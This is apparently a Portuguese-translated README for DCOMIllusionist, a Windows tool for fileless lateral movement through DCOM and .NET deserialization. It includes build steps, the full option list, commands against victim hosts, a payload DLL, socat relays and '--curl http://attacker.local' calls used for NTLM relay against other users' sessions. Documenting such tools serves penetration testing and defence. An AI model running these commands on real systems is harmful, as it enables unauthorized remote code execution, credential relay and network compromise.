
DCOM em memória e técnicas de movimento lateral sem arquivos através de desserialização .Net
Técnica de movimento lateral sem arquivos no Windows.
Introdução • Compilação • Uso • Detalhes Técnicos • Agradecimentos
Esta ferramenta permite execução remota de código em uma máquina Windows, se você tiver privilégios administrativos. Ela aproveita o DCOM e o comportamento de servidores DCOM .NET, que desserializam automaticamente objetos recebidos. Isso possibilita executar comandos arbitrários ou carregar DLLs sem gravar em disco.
Originalmente descoberto por James Forshaw como uma técnica de escalonamento de privilégios, este método foi adaptado para movimento lateral por meio da modificação remota de chaves de registro específicas. Além disso, suporta exploração entre sessões via DCOM, permitindo que comandos arbitrários sejam executados na sessão de outro usuário sob o contexto de segurança dessa sessão.
Funciona em estações de trabalho e servidores, mas é necessário acesso de rede entre a máquina alvo e uma máquina controlada pelo atacante para que a técnica funcione.
Mais detalhes em esta seção.
Uma versão de lançamento (release) está disponível, ou você pode compilá-la manualmente:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
É necessário acesso administrativo tanto no host atacante (via shell elevado) quanto na máquina alvo para usar esta ferramenta com sucesso.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionComo explicado anteriormente, uma sessão pode ser especificada para executar um comando arbitrário na sessão de outro usuário.
[!WARNING] Isso só funciona com AppIDs configurados para executar sob a identidade do usuário interativo. Isso é tratado automaticamente; não é necessário especificar o argumento
--appid, pois a ferramenta usará o AppID associado às Configurações de Controle de Conta de Usuário por padrão.
[!IMPORTANT] Só funciona se a máquina atacante estiver ingressada em um domínio; mais detalhes aqui.
--list-sessionsLista as sessões interativas e ativas remotas no alvo usando WTSEnumerateSessions.
--listenSe a máquina alvo não puder alcançar diretamente o host do atacante, a exploração falhará. No entanto, é possível especificar uma máquina intermediária à qual o alvo possa se conectar. Usando ferramentas como socat, o tráfego pode então ser retransmitido desse intermediário para o host do atacante.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidAo executar a exploração a partir de um shell runas /netonly, a identidade associada não pode ser recuperada automaticamente. Portanto, é necessário fornecê-la explicitamente usando a opção --attacker-sid para que o ataque tenha sucesso.
--exec--exec pode ser usado com --exec-args para executar binários arbitrários no alvo:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execé apenas um wrapper para isso; o mesmo pode ser alcançado com:--ps-exec calc
--curlCurl pode ser útil em cenários de exploração entre sessões. Se você tiver privilégios administrativos em uma máquina e, por exemplo, um administrador de domínio estiver ativo na sessão 3, é possível iniciar uma requisição HTTP autenticada, puramente via .NET, em nome desse usuário. Ao direcionar essa requisição para uma máquina controlada pelo atacante que esteja executando ntlmrelayx.py, ataques tradicionais de relay NTLM podem ser realizados para comprometer o usuário.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllÉ possível carregar uma DLL arbitrária inteiramente em memória, sem tocar no disco. Por exemplo:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
Por padrão, o método estático Run (sem parâmetros) da classe especificada é executado. Esse comportamento pode ser personalizado usando o parâmetro --dll-method.
--yso-b64Para geração avançada de gadgets, o Ysoserial.net pode ser usado. O payload codificado em Base64 resultante pode ser fornecido diretamente; ele será encapsulado em uma instância de RolePrincipal e desserializado na máquina alvo.
[!WARNING] Só funciona com BinaryFormatter
--test-networkExecuta as mesmas operações da exploração regular, mas envia apenas um payload dummy para confirmar que o alvo pode se conectar à máquina do atacante.
--hkuTudo pode ser explorado a partir de um usuário com privilégios baixos usando HKEY_USERS em vez da chave raiz de registro HKLM. Isso pode ser usado se um usuário for membro do grupo Performance Log Users ou Distributed COM Users. Nesse caso, o --attacker-sid deve ser fornecido para acessar o caminho de registro correto. Um CLSID gravável também deve ser fornecido (veja --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsidCria um CLSID e um AppId falsos. Permissões são definidas no AppId para que o usuário atual ou o --attacker-sid possa iniciar e ativar o servidor DCOM. Isso é útil ao realizar exploração a partir de um usuário com privilégios baixos no HKU.
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
Quando um servidor DCOM escrito em .NET recebe um objeto, ele consulta a interface DCOM IManagedObject. Se a interface estiver presente, o servidor invoca o método GetSerializedBuffer. O cliente responde com uma versão serializada do objeto, que o servidor então desserializa, resultando em execução arbitrária de código. Para que isso tenha sucesso, a máquina vítima deve ter acesso de rede direto ao host do atacante (veja --listen).
Ao forjar OBJREFs DCOM arbitrários, é possível redirecionar a máquina alvo para qualquer sistema remoto. Por exemplo, o socat pode ser usado para encaminhar tráfego na porta 135 (e em outra porta arbitrária) para a máquina realmente controlada pelo atacante. Na prova de conceito de James Forshaw, que mais tarde se tornou a base para as explorações "Potato", ele usou o GUID do PointerMoniker para realizar marshaling de objetos arbitrários em OBJREFs. Essa abordagem acionou com sucesso a autenticação, mas falhou nas etapas subsequentes. Usando o GUID do marshaller padrão, por outro lado, torna-se possível criar e enviar OBJREFs arbitrários totalmente funcionais.
No entanto, nenhum servidor DCOM .NET é exposto por padrão nas versões do Windows Server testadas. Para habilitar a interação remota, o Registro do Windows pode ser modificado remotamente para associar um AppID personalizado a um CLSID .NET, tornando-o acessível via DCOM. Com uma seleção cuidadosa do AppID, também é possível habilitar a exploração entre sessões, por meio do session moniker, se houver uma sessão interativa na máquina alvo. Isso foi novamente descoberto e detalhado por James Forshaw aqui e aqui.
Para que a exploração tenha sucesso, o servidor alvo deve recuperar os dados do objeto serializado (o gadget) da máquina controlada pelo atacante. Isso exige que o servidor se autentique no host do atacante.
Se o AppID não estiver configurado para executar sob a identidade do usuário interativo, a tentativa de autenticação será originada como Anonymous. Para permitir isso, a máquina do atacante deve ser configurada para aceitar autenticação DCOM anônima, modificando suas permissões padrão de acesso DCOM.
Quando o AppID está associado ao usuário interativo, a autenticação é realizada usando a identidade do usuário na sessão especificada (via --session) ou, por padrão, na sessão 0. Nesse caso, a máquina do atacante deve estar ingressada em um domínio para aceitar a autenticação do usuário. É por isso que o grupo Everyone é temporariamente adicionado às permissões padrão de acesso DCOM para permitir uma autenticação bem-sucedida.
É importante observar que apenas as permissões de acesso padrão são modificadas; as permissões de ativação e de lançamento permanecem inalteradas. Todas as alterações são revertidas assim que a operação é concluída. Se algo der errado, um backup das configurações originais é criado e pode ser restaurado.
[!CAUTION] A máquina do atacante é temporariamente deixada em um estado mais permissivo durante a exploração, mas todas as alterações são revertidas depois.
TextFormattingRunProperties; ele mostrou como carregar DLLs arbitrárias em memória. Isso foi reutilizado para os ataques --curl e --file-write.